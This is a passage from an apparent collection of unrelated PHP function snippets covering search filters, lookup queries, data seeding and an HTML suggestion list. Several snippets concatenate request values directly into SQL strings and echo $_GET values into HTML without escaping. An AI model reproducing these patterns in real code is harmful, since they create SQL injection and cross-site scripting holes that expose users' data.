Africa\",\"FL_LANGUAGE\":\"English\"}],\"updated_at\":\"2019-03-22T13:48:35.000Z\",\"created_at\":\"2019-03-22T13:48:35.000Z\"},{\"code\":\"SJPL\",\"name\":\"SJPANEL\",\"project_statuses\":[{\"SJ_ID\":2,\"SJ_CODE\":\"PENDING\",\"SOURCE_MAP_CODE\":\"PENDING\"},{\"SJ_ID\":3,\"SJ_CODE\":\"CANCELLED\",\"SOURCE_MAP_CODE\":\"CANCELLED\"},{\"SJ_ID\":4,\"SJ_CODE\":\"LIVE\",\"SOURCE_MAP_CODE\":\"LIVE\"},{\"SJ_ID\":5,\"SJ_CODE\":\"HOLD\",\"SOURCE_MAP_CODE\":\"PAUSE\"},{\"SJ_ID\":6,\"SJ_CODE\":\"CLOSED\",\"SOURCE_MAP_CODE\":\"CLOSED\"}],\"country_language\":[{\"SJ_CON_CODE\":\"US\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"US-EN\"},{\"SJ_CON_CODE\":\"US\",\"SJ_LANG_CODE\":\"ES\",\"SJPL_CON_LANG_CODE\":\"US-ES\"},{\"SJ_CON_CODE\":\"UK\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"UK-EN\"},{\"SJ_CON_CODE\":\"CA\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"US-EN\"},{\"SJ_CON_CODE\":\"CA\",\"SJ_LANG_CODE\":\"FR\",\"SJPL_CON_LANG_CODE\":\"CA-FR\"},{\"SJ_CON_CODE\":\"FR\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"FR-EN\"},{\"SJ_CON_CODE\":\"FR\",\"SJ_LANG_CODE\":\"FR\",\"SJPL_CON_LANG_CODE\":\"FR-FR\"},{\"SJ_CON_CODE\":\"ES\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"ES-EN\"},{\"SJ_CON_CODE\":\"ES\",\"SJ_LANG_CODE\":\"ES\",\"SJPL_CON_LANG_CODE\":\"ES-ES\"},{\"SJ_CON_CODE\":\"IT\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"IT-EN\"},{\"SJ_CON_CODE\":\"IT\",\"SJ_LANG_CODE\":\"IT\",\"SJPL_CON_LANG_CODE\":\"IT-IT\"},{\"SJ_CON_CODE\":\"DE\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"DE-EN\"},{\"SJ_CON_CODE\":\"DE\",\"SJ_LANG_CODE\":\"DE\",\"SJPL_CON_LANG_CODE\":\"DE-DE\"},{\"SJ_CON_CODE\":\"IN\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"IN-EN\"},{\"SJ_CON_CODE\":\"IN\",\"SJ_LANG_CODE\":\"HI\",\"SJPL_CON_LANG_CODE\":\"IN-HI\"},{\"SJ_CON_CODE\":\"AU\",\"SJ_LANG_CODE\":\"EN\",\"SJPL_CON_LANG_CODE\":\"AU-EN\"}]}]';\n $decoded = json_decode($data, true);\n foreach ($decoded as $data) {\n $newData = [];\n $newData['code'] = $data['code'];\n $newData['name'] = $data['name'];\n\n if (isset($data['project_industry'])) {\n $industryData = [];\n foreach ($data['project_industry'] as $industry) {\n $industryData[] = [\n 'SJ_ID' => (int)$industry['SJ_ID'],\n 'SJ_CODE' => $industry['SJ_CODE'],\n 'SOURCE_MAP_ID' => (int) $industry['SOURCE_MAP_ID'],\n 'SOURCE_MAP_CODE' => $industry['SOURCE_MAP_CODE'],\n\n ];\n }\n $newData['project_industry'] = $industryData;\n }\n\n if (isset($data['project_study_types'])) {\n $topicsData = [];\n foreach ($data['project_study_types'] as $topic) {\n $topicsData[] = [\n 'SJ_ID' => (int)$topic['SJ_ID'],\n 'SJ_CODE' => $topic['SJ_CODE'],\n 'SOURCE_MAP_ID' => (int) $topic['SOURCE_MAP_ID'],\n 'SOURCE_MAP_CODE' => $topic['SOURCE_MAP_CODE'],\n\n ];\n }\n $newData['project_study_types'] = $topicsData;\n }\n\n if (isset($data['project_statuses'])) {\n $statusData = [];\n foreach ($data['project_statuses'] as $status) {\n $statData = [];\n foreach ($status as $key => $value) {\n $statData[$key] = $value;\n }\n $statusData[] = $statData;\n }\n $newData['project_statuses'] = $statusData;\n }\n\n if ($data['country_language']) {\n $countryData = [];\n foreach ($data['country_language'] as $country) {\n $conData = [];\n foreach ($country as $key => $value) {\n $conData[$key] = $value;\n }\n $countryData[] = $conData;\n }\n $newData['country_language'] = $countryData;\n }\n \\App\\Models\\Source\\VendorApiMapping::create($newData);\n }\n }", "function getCompanyFilter() {\n return $this->getAdditionalProperty('company_filter', self::CLIENT_FILTER_ANYBODY);\n }", "function SetupLookupFilters($fld, $pageId = null) {\r\n\t\tglobal $gsLanguage;\r\n\t\t$pageId = $pageId ?: $this->PageID;\r\n\t\tswitch ($fld->FldVar) {\r\n\t\tcase \"x_Serie_Equipo\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `NroSerie` AS `LinkFld`, `NroSerie` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `equipos`\";\r\n\t\t\t$sWhereWrk = \"{filter}\";\r\n\t\t\t$this->Serie_Equipo->LookupFilters = array(\"dx1\" => \"`NroSerie`\");\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`NroSerie` = {filter_value}\", \"t0\" => \"200\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Serie_Equipo, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Modelo_Net\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Descripcion` AS `LinkFld`, `Descripcion` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `modelo`\";\r\n\t\t\t$sWhereWrk = \"\";\r\n\t\t\t$this->Modelo_Net->LookupFilters = array();\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Descripcion` = {filter_value}\", \"t0\" => \"200\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Modelo_Net, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Nombre_Titular\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Apellidos_Nombres` AS `LinkFld`, `Apellidos_Nombres` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `personas`\";\r\n\t\t\t$sWhereWrk = \"{filter}\";\r\n\t\t\t$this->Nombre_Titular->LookupFilters = array(\"dx1\" => \"`Apellidos_Nombres`\");\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Apellidos_Nombres` = {filter_value}\", \"t0\" => \"201\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Nombre_Titular, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Nombre_Tutor\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Apellidos_Nombres` AS `LinkFld`, `Apellidos_Nombres` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `tutores`\";\r\n\t\t\t$sWhereWrk = \"{filter}\";\r\n\t\t\t$this->Nombre_Tutor->LookupFilters = array(\"dx1\" => \"`Apellidos_Nombres`\");\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Apellidos_Nombres` = {filter_value}\", \"t0\" => \"201\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Nombre_Tutor, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Cue_Establecimiento_Alta\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Cue_Establecimiento` AS `LinkFld`, `Cue_Establecimiento` AS `DispFld`, `Nombre_Establecimiento` AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `establecimientos_educativos_pase`\";\r\n\t\t\t$sWhereWrk = \"{filter}\";\r\n\t\t\t$this->Cue_Establecimiento_Alta->LookupFilters = array(\"dx1\" => \"`Cue_Establecimiento`\", \"dx2\" => \"`Nombre_Establecimiento`\");\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Cue_Establecimiento` = {filter_value}\", \"t0\" => \"3\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Cue_Establecimiento_Alta, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Dpto_Esc_alta\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Nombre` AS `LinkFld`, `Nombre` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `departamento`\";\r\n\t\t\t$sWhereWrk = \"\";\r\n\t\t\t$this->Dpto_Esc_alta->LookupFilters = array();\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Nombre` = {filter_value}\", \"t0\" => \"200\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Dpto_Esc_alta, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Localidad_Esc_Alta\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Nombre` AS `LinkFld`, `Nombre` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `localidades`\";\r\n\t\t\t$sWhereWrk = \"\";\r\n\t\t\t$this->Localidad_Esc_Alta->LookupFilters = array();\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Nombre` = {filter_value}\", \"t0\" => \"200\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Localidad_Esc_Alta, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Cue_Establecimiento_Baja\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Cue_Establecimiento` AS `LinkFld`, `Cue_Establecimiento` AS `DispFld`, `Nombre_Establecimiento` AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `establecimientos_educativos_pase`\";\r\n\t\t\t$sWhereWrk = \"{filter}\";\r\n\t\t\t$this->Cue_Establecimiento_Baja->LookupFilters = array(\"dx1\" => \"`Cue_Establecimiento`\", \"dx2\" => \"`Nombre_Establecimiento`\");\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Cue_Establecimiento` = {filter_value}\", \"t0\" => \"3\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Cue_Establecimiento_Baja, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Dpto_Esc_Baja\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Nombre` AS `LinkFld`, `Nombre` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `departamento`\";\r\n\t\t\t$sWhereWrk = \"\";\r\n\t\t\t$this->Dpto_Esc_Baja->LookupFilters = array();\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Nombre` = {filter_value}\", \"t0\" => \"200\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Dpto_Esc_Baja, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Localidad_Esc_Baja\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Nombre` AS `LinkFld`, `Nombre` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `localidades`\";\r\n\t\t\t$sWhereWrk = \"\";\r\n\t\t\t$this->Localidad_Esc_Baja->LookupFilters = array();\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Nombre` = {filter_value}\", \"t0\" => \"200\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Localidad_Esc_Baja, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\tcase \"x_Id_Estado_Pase\":\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$sSqlWrk = \"SELECT `Id_Estado_Pase` AS `LinkFld`, `Descripcion` AS `DispFld`, '' AS `Disp2Fld`, '' AS `Disp3Fld`, '' AS `Disp4Fld` FROM `estado_pase`\";\r\n\t\t\t$sWhereWrk = \"\";\r\n\t\t\t$this->Id_Estado_Pase->LookupFilters = array();\r\n\t\t\t$fld->LookupFilters += array(\"s\" => $sSqlWrk, \"d\" => \"\", \"f0\" => \"`Id_Estado_Pase` = {filter_value}\", \"t0\" => \"3\", \"fn0\" => \"\");\r\n\t\t\t$sSqlWrk = \"\";\r\n\t\t\t$this->Lookup_Selecting($this->Id_Estado_Pase, $sWhereWrk); // Call Lookup selecting\r\n\t\t\tif ($sWhereWrk <> \"\") $sSqlWrk .= \" WHERE \" . $sWhereWrk;\r\n\t\t\tif ($sSqlWrk <> \"\")\r\n\t\t\t\t$fld->LookupFilters[\"s\"] .= $sSqlWrk;\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}", "public function filter() {\n\n $GigOutline = $_POST['GigOutline'];\n $CompanyCity = $_POST['CompanyCity'];\n\n $result = $this->gig_model->filter_search($GigOutline, $CompanyCity);\n\n if (!empty($result)){\n //if we have results, then post them here\n $data['title'] = 'Success!';\n $data['gigs'] = $result;\n $this->load->view('gigs/search', $data);\n } else {\n $data['title'] = 'Success!';\n $data['gigs'] = null;\n $this->load->view('gigs/search', $data);\n }\n }", "public function showdata()\n {\n $datatable = \"<ul style=\\\"list-style-type:none;padding:10px;\\\"><li style=\\\"color:white;\\\">No data suggestion</li>\";\n if ($_GET) {\n if ($_GET[\"q\"]) {\n $like[\"p.name\"] = \"%{$_GET[\"q\"]}%\";\n $like['p.sku'] = \"%{$_GET[\"q\"]}%\";\n $option[\"limit\"] = 50;\n $all_ca_list = $this->sc['Product']->getDao('ProductComplementaryAcc')->getAllAccessory($where, $option, $like);\n $arr = (array)$all_ca_list;\n if (!empty($arr)) {\n $datatable = \"<ul style=\\\"list-style-type:none;padding:10px;\\\">\";\n foreach ($all_ca_list as $key => $value) {\n $datatable .= <<<HTML\n <li>\n <a href=\"#\" onclick=\"selected('{$_GET[\"ctry\"]}', '{$value->getAccessorySku()}');return false;\"\n style=\"color:white;\"\n onmouseover=\"this.style.color='#F7E741';style.fontWeight='bold';\"\n onmouseout=\"this.style.color='white';style.fontWeight='normal';\"\n >\n {$value->getAccessorySku()} :: {$value->getName()}\n </a>\n </li><hr></hr>\nHTML;\n }\n $datatable .= \"</u>\";\n }\n }\n }\n\n echo $datatable;\n }", "public function getAffiliationsData(){\n $producersCountry=Producer::distinct()->get(['country_id']);\n $producersCountryList=$producersCountry->implode('country_id', ', ');\n $producersCountryList=explode(',',$producersCountryList);\n return Country::whereIn('id',$producersCountryList)->get(); \n }", "function getSocietyDetails($soc_code){\n\t\t}", "public function testFilterByTitle()\n {\n $response = $this->runApp('GET', '/v1/products?q=.net&password=' . $this->apiPassword);\n\n $this->assertEquals(StatusCode::HTTP_OK, $response->getStatusCode());\n $result = (array)json_decode($response->getBody())->result;\n $this->assertEquals(count($result), 7);\n }", "public function getFilter(){ }", "function getItems($data = '')\n {\n\n $filter_addr = '';\n $provider_id = $data['provider_id'];\n if($provider_id != '0') {\n $result = $this->db->select('address')\n ->from('tbl_userinfo')\n ->where('id', $provider_id)\n ->get()->result();\n\n if (count($result) > 0) {\n $filter_addr = $result[0]->address;\n $ss = explode(',', $filter_addr);\n unset($ss[count($ss) - 1]);\n $filter_addr = implode(',', $ss);\n }\n }\n\n $type = $data['searchType'];\n $name = $data['searchName'];\n $status = $data['searchStatus'];\n $shoptype = $data['searchShoptype'];\n if ($provider_id == '0') {\n $address = $data['address'];\n $auth = $data['searchAuth'];\n }\n $this->db->select('*');\n $this->db->from('tbl_userinfo');\n $this->db->where('type', 3);\n if(isset($data['start_date'])){\n if($data['start_date'] != '')\n $this->db->where('date(created_time)>=\\''. $data['start_date'] . '\\'');\n if($data['end_date'] != '')\n $this->db->where('date(created_time)<=\\''. $data['end_date'] . '\\'');\n }\n switch (intval($type)) {\n case 0: // account\n $likeCriteria = $name != '' ? (\"(userid LIKE '%\" . $name . \"%')\") : '';\n break;\n case 1: // name\n $likeCriteria = $name != '' ? (\"(username LIKE '%\" . $name . \"%')\") : '';\n break;\n case 2: // contact\n $likeCriteria = $name != '' ? (\"(address LIKE '%\" . $name . \"%')\") : '';\n break;\n case 3: // recommend\n $likeCriteria = $name != '' ? (\"(saleman_mobile LIKE '%\" . $name . \"%')\") : '';\n break;\n }\n if ($likeCriteria != '') $this->db->where($likeCriteria);\n\n if ($status != '0') $this->db->where('status', $status);\n if ($shoptype != '0') $this->db->where('shop_type', $shoptype);\n if ($provider_id == '0') {\n $likeCriteria = ($address != '') ? (\"(filter_addr LIKE '%\" . $address . \"%')\") : '';\n if ($address != '') $this->db->where($likeCriteria);\n\n if ($auth != '0') $this->db->where('auth', $auth);\n }else{\n $this->db->where('status', 1);\n $this->db->where('auth', 3);\n // range limitation\n if($filter_addr != '')\n $this->db->where('filter_addr', $filter_addr);\n }\n\n $this->db->order_by('id', 'desc');\n $query = $this->db->get();\n $result = $query->result();\n\n if (count($result) == 0) $result = NULL;\n return $result;\n }", "function GetAttributeDeatilValueDetail($filter=false,$filter2)\n\t{\n\t\t$query=$this->db->query(\"select rp_attribute_details.attrName,rp_property_attribute_value_details.attrDetValue from rp_attribute_details,rp_property_attribute_value_details where rp_attribute_details.attributeID='$filter' and rp_attribute_details.languageID=1 and rp_property_attribute_value_details.attrValueID='$filter2' and rp_property_attribute_value_details.languageID=1\");\n\t\treturn $query->result();\n\t}", "public function getSpecifics() {}", "public function getFacility();", "function GetFilterList() {\n\t\tglobal $UserProfile;\n\n\t\t// Initialize\n\t\t$sFilterList = \"\";\n\t\t$sSavedFilterList = \"\";\n\n\t\t// Load server side filters\n\t\tif (EW_SEARCH_FILTER_OPTION == \"Server\" && isset($UserProfile))\n\t\t\t$sSavedFilterList = $UserProfile->GetSearchFilters(CurrentUserName(), \"fsolicitudlistsrch\");\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id->AdvancedSearch->ToJson(), \",\"); // Field id\n\t\t$sFilterList = ew_Concat($sFilterList, $this->nombre_contacto->AdvancedSearch->ToJson(), \",\"); // Field nombre_contacto\n\t\t$sFilterList = ew_Concat($sFilterList, $this->name->AdvancedSearch->ToJson(), \",\"); // Field name\n\t\t$sFilterList = ew_Concat($sFilterList, $this->lastname->AdvancedSearch->ToJson(), \",\"); // Field lastname\n\t\t$sFilterList = ew_Concat($sFilterList, $this->_email->AdvancedSearch->ToJson(), \",\"); // Field email\n\t\t$sFilterList = ew_Concat($sFilterList, $this->address->AdvancedSearch->ToJson(), \",\"); // Field address\n\t\t$sFilterList = ew_Concat($sFilterList, $this->phone->AdvancedSearch->ToJson(), \",\"); // Field phone\n\t\t$sFilterList = ew_Concat($sFilterList, $this->cell->AdvancedSearch->ToJson(), \",\"); // Field cell\n\t\t$sFilterList = ew_Concat($sFilterList, $this->created_at->AdvancedSearch->ToJson(), \",\"); // Field created_at\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_sucursal->AdvancedSearch->ToJson(), \",\"); // Field id_sucursal\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipoinmueble->AdvancedSearch->ToJson(), \",\"); // Field tipoinmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_inmueble->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_inmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_inmueble->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_inmueble\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipovehiculo->AdvancedSearch->ToJson(), \",\"); // Field tipovehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_vehiculo->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_vehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_vehiculo->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_vehiculo\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipomaquinaria->AdvancedSearch->ToJson(), \",\"); // Field tipomaquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_ciudad_maquinaria->AdvancedSearch->ToJson(), \",\"); // Field id_ciudad_maquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->id_provincia_maquinaria->AdvancedSearch->ToJson(), \",\"); // Field id_provincia_maquinaria\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipomercaderia->AdvancedSearch->ToJson(), \",\"); // Field tipomercaderia\n\t\t$sFilterList = ew_Concat($sFilterList, $this->documento_mercaderia->AdvancedSearch->ToJson(), \",\"); // Field documento_mercaderia\n\t\t$sFilterList = ew_Concat($sFilterList, $this->tipoespecial->AdvancedSearch->ToJson(), \",\"); // Field tipoespecial\n\t\t$sFilterList = ew_Concat($sFilterList, $this->email_contacto->AdvancedSearch->ToJson(), \",\"); // Field email_contacto\n\t\tif ($this->BasicSearch->Keyword <> \"\") {\n\t\t\t$sWrk = \"\\\"\" . EW_TABLE_BASIC_SEARCH . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Keyword) . \"\\\",\\\"\" . EW_TABLE_BASIC_SEARCH_TYPE . \"\\\":\\\"\" . ew_JsEncode2($this->BasicSearch->Type) . \"\\\"\";\n\t\t\t$sFilterList = ew_Concat($sFilterList, $sWrk, \",\");\n\t\t}\n\t\t$sFilterList = preg_replace('/,$/', \"\", $sFilterList);\n\n\t\t// Return filter list in json\n\t\tif ($sFilterList <> \"\")\n\t\t\t$sFilterList = \"\\\"data\\\":{\" . $sFilterList . \"}\";\n\t\tif ($sSavedFilterList <> \"\") {\n\t\t\tif ($sFilterList <> \"\")\n\t\t\t\t$sFilterList .= \",\";\n\t\t\t$sFilterList .= \"\\\"filters\\\":\" . $sSavedFilterList;\n\t\t}\n\t\treturn ($sFilterList <> \"\") ? \"{\" . $sFilterList . \"}\" : \"null\";\n\t}", "public function testSearchForProductByAttributeType()\n {\n // full results flag returns the full data set for the product\n }", "public function fs_filter_data($company,$division,$department,$section,$subsection,$location,$classification,$employment,$status,$yy,$mm,$dd,$type,$date_from,$date_to,$payroll_period)\n\t{\n\n\t\t$location_1 = substr_replace($location, \"\", -3 , 3);\n\t\t$location_2 = str_replace(\"-\",\" \",$location_1);\n\t\t$location_final = str_replace(\"ll\",\"v.location=\",$location_2);\n\t\t\n\t\t$classification_1 = substr_replace($classification, \"\", -3 , 3);\n\t\t$classification_2 = str_replace(\"-\",\" \",$classification_1);\n\t\t$classification_final = str_replace(\"cc\",\"v.classification=\",$classification_2);\n\t\t\n\t\t$employment_1 = substr_replace($employment, \"\", -3 , 3);\n\t\t$employment_2 = str_replace(\"-\",\" \",$employment_1);\n\t\t$employment_final = str_replace(\"ee\",\"v.employment=\",$employment_2);\n\n\t\tif($company=='All'){} else { $this->db->where('v.company_id',$company); }\n\t\tif($division=='All'){} else { $this->db->where('v.division_id',$division); }\n\t\tif($department=='All'){} else { $this->db->where('v.department',$department); }\n\t\tif($section=='All'){} else { $this->db->where('v.section',$section); }\n\t\tif($subsection=='All'){} else { $this->db->where('v.subsection',$subsection); }\n\t\t//if($status=='All'){} else { $this->db->where('InActive',$status); }\n\n\t\tif($type=='single')\n\t\t{ //$yy $mm $dd\n\t\t\t$full_date=$yy.\"-\".$mm.\"-\".$dd;\n\t\t\t$dayOfWeek = date(\"l\", strtotime($full_date));\n\n\t\t\t$get_this_data=\"a.system_user,a.date_added,a.last_update,\n\t\t\t\t\tv.employee_id,\n\t\t\t\t\tv.name,\n\t\t\t\t\tv.first_name,\n\t\t\t\t\tv.middle_name,\n\t\t\t\t\tv.last_name,\n\t\t\t\t\tv.name_extension,\n\t\t\t\t\tv.company_id,\n\t\t\t\t\tv.company_name,\n\t\t\t\t\tv.wDivision,\n\t\t\t\t\tv.location_name,\n\t\t\t\t\tv.division_name,\n\t\t\t\t\tv.dept_name,\n\t\t\t\t\tv.section_name,\n\t\t\t\t\tv.subsection_name,\n\t\t\t\t\tv.classification_name as classification,\n\t\t\t\t\tv.taxcode_name,\n\t\t\t\t\tv.civil_status_name,\n\t\t\t\t\tv.employment_name,\n\t\t\t\t\tv.pay_type_name,\n\t\t\t\t\tv.gender_name\";\n\n\t\t\tif($dayOfWeek==\"Monday\"){\n\t\t\t\t$this->db->select('a.mon as the_day,'.$get_this_data.'');\n\t\t\t\t$where = \"a.thu is NOT NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}elseif($dayOfWeek==\"Tuesday\"){\n\t\t\t\t$this->db->select('a.tue as the_day,'.$get_this_data.'');\n\t\t\t\t$where = \"a.thu is NOT NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}elseif($dayOfWeek==\"Wednesday\"){\n\t\t\t\t$this->db->select('a.wed as the_day,'.$get_this_data.'');\n\t\t\t\t$where = \"a.thu is NOT NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}elseif($dayOfWeek==\"Thursday\"){\n\t\t\t\t$this->db->select('a.thu as the_day,'.$get_this_data.'');\n\t\t\t\t$where = \"a.thu is NOT NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}elseif($dayOfWeek==\"Friday\"){\n\t\t\t\t$this->db->select('a.fri as the_day,v.*');\n\t\t\t\t$where = \"a.thu is NOT NULL\";\n\t\t\t\t$this->db->where($where);\n\n\t\t\t}elseif($dayOfWeek==\"Saturday\"){\n\t\t\t\t$this->db->select('a.sat as the_day,v.*');\n\t\t\t\t$where = \"a.thu is NOT 